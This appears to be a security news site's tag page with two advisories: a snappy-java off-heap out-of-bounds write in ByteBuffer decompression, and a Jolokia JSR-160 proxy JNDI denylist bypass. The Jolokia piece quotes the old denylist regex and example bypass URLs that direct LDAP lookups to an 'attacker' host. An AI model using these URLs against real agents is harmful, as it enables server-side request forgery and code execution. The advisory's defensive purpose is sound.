Severity Daily

IT and AI security incidents, checked against the primary source

Tag: Java

  • snappy-java’s 7.5 out-of-bounds write is in the one decompress API that doesn’t size its own output, and the newest release is from July 2025

    snappy-java’s 7.5 out-of-bounds write is in the one decompress API that doesn’t size its own output, and the newest release is from July 2025

    A 7.5 out-of-bounds write lands on the one snappy-java decompression call that makes the caller size the output buffer — and the newest artifact on Maven Central, published in July 2025, is the top of the affected range.

    What happened

    On September 12, 2026, at 6:16 p.m. UTC, VulnCheck published CVE-2026-90559 against snappy-java, the JNI binding that most of the JVM world uses for Snappy compression. The record carries a CVSS v3.1 base score of 7.5 with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, a CVSS v4.0 score of 8.7, and CWE-787, out-of-bounds write. Both scores come from [email protected].

    The description is one sentence: “snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in Snappy.uncompress(ByteBuffer, ByteBuffer) because destination buffer capacity is never validated against decompressed size.”

    The affected range runs from version 0 through 1.1.10.8. No fixed version is named. The reference list contains four entries: the repository, a permalink to line 561 of Snappy.java at the v1.1.10.8 tag, GitHub issue #728, titled “Off heap OOB Write in ByteBuffer Uncompress,” and VulnCheck’s own advisory. There is no commit and no release tag among them.

    Maven Central’s metadata for org.xerial.snappy:snappy-java gives both <latest> and <release> as 1.1.10.8, with a lastUpdated timestamp of July 19, 2025. The newest artifact anyone can pull is fourteen months old and is the ceiling of the affected range. There is nothing above it to upgrade to.

    We read the method on master. Snappy.uncompress(ByteBuffer compressed, ByteBuffer uncompressed) performs exactly two checks: that the input is a direct buffer and that the destination is a direct buffer. It then reads the positions, calls impl.rawUncompress, and sets the destination’s limit to the position plus the returned size. Nothing compares the decompressed size against uncompressed.remaining(). The CVE’s description of the code is accurate.

    What the description leaves out is that the method’s own documentation says so. The javadoc above it reads: “Note that if you pass the wrong data or the range [pos(), limit()) that cannot be uncompressed, your JVM might crash due to the access violation exception issued in the native code written in C++. To avoid this type of crash, use {@link #isValidCompressedBuffer(ByteBuffer)} first.”

    That mitigation does not cover this case. isValidCompressedBuffer‘s own javadoc reads: “Returns true iff the contents of compressed buffer [pos() … limit()) can be uncompressed successfully. Does not return the uncompressed data.” It answers whether the input is well-formed Snappy. It says nothing about whether the destination is large enough. A perfectly valid compressed buffer that expands to ten megabytes still overruns a one-megabyte destination, and the documented guard returns true on the way in.

    The other decompression paths in the same library do size their output. Snappy.uncompress(byte[] input) allocates new byte[Snappy.uncompressedLength(input)] before decompressing — uncompressedLength is an O(1) header read that the library already exposes for exactly this purpose. SnappyInputStream does the same thing twice over, calling uncompressedLength, allocating or growing its buffer, then comparing the actual decompressed length against the expected one and throwing INVALID_CHUNK_SIZE if they differ. And BitShuffle.shuffle, a direct-ByteBuffer method in the same library with the same shape, checks explicitly: if (shuffled.remaining() < uLen) throw new IllegalArgumentException("not enough space for output");

    So the flaw is not that snappy-java does not know how to validate a destination buffer. It is that one API leaves the job to the caller, documents that it does, and recommends a guard that does not do it.

    CVE-2026-90559 is not in CISA’s Known Exploited Vulnerabilities catalog, published version 2026.09.11, and no exploitation has been reported.

    Why it matters

    The first thing to establish is who is actually on this path, because the 7.5 and the network attack vector will pull this into a lot of tickets it does not belong in. If your code decompresses through SnappyInputStream, SnappyFramedInputStream, or Snappy.uncompress(byte[]) — which is how the large majority of JVM applications touch Snappy, usually without ever naming the library, because a framework chose it — you are not calling the method this CVE describes, and the library sizes your destination for you. The exposure is specific to code that reaches for the direct-ByteBuffer API and manages its own off-heap destination, which is the performance-minded path taken by storage engines, columnar readers, and network layers that are trying to avoid a copy.

    For that code the score is defensible and the consequence is worse than the vector suggests. This is an off-heap write past the end of a direct buffer, performed by native code. The javadoc’s word is “crash,” and a JVM that dies is the good outcome. A:H with C:N/I:N says VulnCheck is claiming availability impact only, which is the conservative read of an out-of-bounds write into native memory, and we have no basis to claim more. The AV:N is doing the work of saying that in the shapes where this API is used, the compressed bytes arrive over a network from somebody else.

    The second thing is the release situation, which is where this stops being a routine library advisory. A CVE with an open affected range and no fixed version produces a finding that cannot be closed. Every dependency scanner in an organization will report snappy-java 1.1.10.8 as vulnerable, correctly, and the remediation field will stay empty until the project ships 1.1.10.9. The last release was July 19, 2025. The referenced artifact is an open GitHub issue, not a merged commit.

    The contrast inside the same disclosure batch makes the point. VulnCheck published CVE-2026-90560 against zstd-jni at the same minute — an out-of-bounds read in ZstdDictDecompress, 8.2 on v3.1, the same class of missing bounds validation in the same corner of the JVM ecosystem. That record names a fixed version, 1.5.7-14, and its references include both the fix commit and the release tag. Two compression bindings, one researcher batch, one identical remediation question, and one of them has an answer. The difference is not the quality of the disclosure. It is whether a maintainer was in a position to cut a release.

    That is the pattern worth carrying out of this. A research organization can now find, score, and publish a bounds-checking defect in a widely embedded library in a single afternoon. The cycle that turns that into something an operator can install runs on volunteer time. When those two clocks are this far out of step, the CVE stops being a remediation instruction and becomes an inventory question instead: not “what do we upgrade,” but “do we call that method at all.”

    What to do

    Answer the inventory question first. Search your own code, and any first-party library you ship, for Snappy.uncompress( with two ByteBuffer arguments, and for the raw-address variants that take a long. If nothing in your tree calls them, you are not exposed by this CVE, and that belongs in the ticket as the resolution — do not leave it open waiting for a version that may not come.

    If you do call it, add the check the library omits before the call: read Snappy.uncompressedLength(compressed), compare it against uncompressed.remaining(), and fail if the destination is short. That is the O(1) header read the array API already uses. Do not rely on isValidCompressedBuffer for this; by its own documentation it validates the input, not the fit.

    Separately, upgrade zstd-jni to 1.5.7-14 if you are below it. That one has a release, and it is a different flaw with the same root cause.

    If you maintain a scanner policy, consider how it handles an advisory with no fixed version, because you are going to see more of these. A rule that escalates on severity alone will keep this at 7.5 forever on artifacts that are not reachable from your code.

    Sourcing note

    Checked: the NVD record for CVE-2026-90559, which supplied the description, both CVSS vectors and their source, CWE-787, the affected range, and the reference list; the NVD record for CVE-2026-90560 for the zstd-jni comparison, including its fixed version and references; Maven Central’s maven-metadata.xml for org.xerial.snappy:snappy-java, which supplied the latest and release versions and the July 19, 2025 timestamp; and the shipped source of Snappy.java, SnappyInputStream.java, and BitShuffle.java on master, read via raw.githubusercontent.com, which is where the javadoc quotations, the absence of a capacity check, and the checks present in the other paths were confirmed. The KEV catalog was read from the cisagov/kev-data mirror on GitHub because cisa.gov returns 403 to automated fetching; the version read was 2026.09.11.

    Could not reach: GitHub issue #728 in a form that showed the thread. Automated fetches of that page returned advisory text rather than the issue discussion, so the maintainer’s response — whether the report is accepted, disputed, or unanswered — is not established here, and neither is the date it was opened. That is a material gap, and it is the single thing that would most change the picture.

    Not verified: which downstream projects embed snappy-java and by which API. The scope discussion above is based on what the library’s own code does in each path, not on an audit of dependents. Unresolved: whether a 1.1.10.9 release is planned.

  • Jolokia’s 2018 JNDI denylist is bypassed three ways, and the fix denies every proxy target by default

    Jolokia’s 2018 JNDI denylist is bypassed three ways, and the fix denies every proxy target by default

    CVE-2026-84218 defeats the 2018 denylist three different ways, and Jolokia 2.6.2 — released September 2, 2026 — closes it by refusing every proxy target that has not been explicitly allowed.

    What happened

    Red Hat published CVE-2026-84218 on September 1, 2026, as the assigning authority, scoring it 8.1 with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H and classifying it CWE-184, “Incomplete List of Disallowed Inputs.” Red Hat’s own threat severity is Important, and its record marks the CVSS status as draft. The finder is Sandipan Roy of Red Hat.

    The same day, issue 1049 was opened against the Jolokia project under the title “Incomplete JNDI Denylist in Jolokia JSR-160 Proxy (Bypass of CVE-2018-1000130 Fix).” On September 2, 2026, Jolokia 2.6.2 shipped. Its release note for that issue reads: “Deny all target JMX URLs by default if not allowed in (#1049).”

    Jolokia’s JSR-160 proxy mode lets a client hand the agent a JMX service URL and have the agent connect to it through JMXConnectorFactory. In 2018, CVE-2018-1000130 established that a client could point that at an LDAP URL and trigger a JNDI lookup against a server the attacker controlled. The fix was a denylist: block anything matching the regular expression service:jmx:rmi:///jndi/ldap:.*.

    That pattern holds for exactly the shape of URL its author had in front of them. Issue 1049 documents three ways around it:

    • A different scheme. The regex requires the literal ldap:. LDAP over TLS is ldaps:, and service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref does not match.
    • A non-empty host. The three slashes in the pattern encode an empty JMX host component. service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref is a legal URL, still performs the LDAP lookup, and does not match.
    • Case. Scheme matching is case-sensitive in the pattern and is not in the URL handling.

    The consequences the issue names are server-side request forgery from the agent’s JVM, credential forwarding during the LDAP bind, and remote code execution conditional on what is on the classpath when the LDAP server returns a reference. Proxy mode requires authentication — by default the jolokia role — so this is not an unauthenticated internet-facing hole, and the AC:H in Red Hat’s vector reflects the conditions on the RCE outcome.

    Red Hat’s product states are uneven. Red Hat AMQ Broker 7 is marked affected in jolokia-server-core, with no errata attached to the record. Red Hat build of Apache Camel 4 for Quarkus 3, Red Hat build of Apache Camel for Spring Boot 4, and Red Hat Fuse 7 are all marked out of support scope for the jolokia packages. Red Hat Satellite 6 is not affected. On mitigation, the record says: “Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria.”

    Why it matters

    Eight years is a long time for a bypass to sit unfound, and the reason it sat is not obscurity. It is that the 2018 fix wrote down one example rather than one rule. A denylist regex against rmi:///jndi/ldap: encodes the exploit that was demonstrated. It does not encode the property that matters, which is that the agent is willing to make a JNDI lookup to a location the client picked. Every one of the three bypasses is a restatement of the same URL with a legal variation the author did not enumerate — a sibling scheme, an optional component filled in, different capitalization. None of them is clever. They are what a denylist looks like from the other side.

    CWE-184 is the right classification and it is an unusually honest one. The easy filing here would have been the downstream impact: JNDI injection, or SSRF, or deserialization. Naming the incomplete denylist as the weakness puts the finding where the defect actually lives, and it makes the record useful to anyone auditing the many other places where the post-Log4Shell response was to add a pattern match against ldap. That response was everywhere in early 2022. This is what those patches look like when they age.

    The more immediate thing for operators is that the fix is a behavior change, not a patch. “Deny all target JMX URLs by default if not allowed in” means that after upgrading to 2.6.2, a working JSR-160 proxy deployment stops working until someone configures the set of targets it is allowed to reach. That is the correct fix — it converts a denylist into an allowlist, which is the only structure that does not have this failure mode — and it will also break production for anyone who upgrades without reading the note. This site has spent the past week on releases that shipped security fixes filed as breaking changes without saying so, most recently Eclipse Theia’s agent-mode workspace escape. Jolokia is the inverse and it is the better failure: the release note describes the behavior change accurately. What it does not do is name CVE-2026-84218, so anyone mapping versions to CVEs from release notes alone finds nothing to match.

    The Red Hat product table deserves its own reading. “Out of support scope” is not “not affected.” It means Red Hat is not making a determination for those packages in those products, and it appears against Camel for Quarkus, Camel for Spring Boot, and Fuse 7 — three places where a Jolokia agent is a routine part of a management endpoint. A team running any of them gets no fixed version and no statement either way, and has to establish its own jolokia-core version and its own exposure. AMQ Broker 7, which does get a determination, gets “affected” with nothing attached to remediate it. The upstream fix exists as of today; the downstream path to it does not yet.

    What to do

    Upgrade to Jolokia 2.6.2, released September 2, 2026. Before you do, read the behavior change: proxy targets are denied by default afterward, so any JSR-160 proxy configuration that relies on reaching arbitrary or unlisted targets will need an explicit allowlist. Test this in a staging environment first; the upgrade is safe for the vulnerability and disruptive for the deployment.

    If you cannot upgrade, turn off JSR-160 proxy mode. It is the only feature this touches. Disabling it removes the exposure completely and is a stronger position than any partial filter, which is the same conclusion the denylist history here argues for.

    Red Hat AMQ Broker 7. Marked affected in jolokia-server-core with no errata published. Check whether proxy mode is enabled on your brokers; if it is not, the flaw is not reachable. Watch Red Hat’s CVE page for an advisory.

    Camel for Quarkus 3, Camel for Spring Boot 4, Fuse 7. Marked out of support scope. Determine your bundled Jolokia version yourself rather than reading the absence of an “affected” label as safety.

    Audit access either way. Proxy mode requires authentication, so the standing question is who holds the jolokia role, whether the agent is reachable beyond localhost, and whether the JVM’s classpath contains anything that turns an LDAP reference into code execution. Any one of those being false blunts the worst outcome.

    There is no reported exploitation, the CVE is not in CISA’s Known Exploited Vulnerabilities catalog, and no federal remediation deadline attaches to it.

    Sourcing note

    Checked against primary sources: the CVE Program record for CVE-2026-84218, published September 1, 2026, and updated September 2; Red Hat’s machine-readable security data entry for the same CVE, which supplied the Important threat severity, the draft status on the 8.1 score, the mitigation sentence, and the per-product fix states quoted above; issue 1049 in the Jolokia repository, which is the technical description of the three bypasses and the source of the example URLs; and the Jolokia release list, which puts 2.6.2 on September 2, 2026, with the release note quoted above. CVE-2018-1000130 is the earlier record whose fix this defeats.

    Not reached: the GitHub advisory API returned 403 to automated fetching, so the machine-readable version ranges in GHSA-c9ff-59g8-m36q could not be confirmed. The human-readable advisory page, read on September 2, 2026, showed no affected package and no version range, which would matter for dependency scanners that consume that feed — but on a single unconfirmed read that is an observation, not a finding. cisa.gov returns 403 as well; the KEV status was checked against the catalog data CISA publishes through its own GitHub channel, which lags, so read it as no evidence of a listing rather than a positive confirmation.

    Unresolved: whether an AMQ Broker 7 errata is in preparation; whether Red Hat will move the three “out of support scope” products to a determination; and whether the mixed-case bypass is independently exploitable or only in combination with the other two, which issue 1049 does not settle.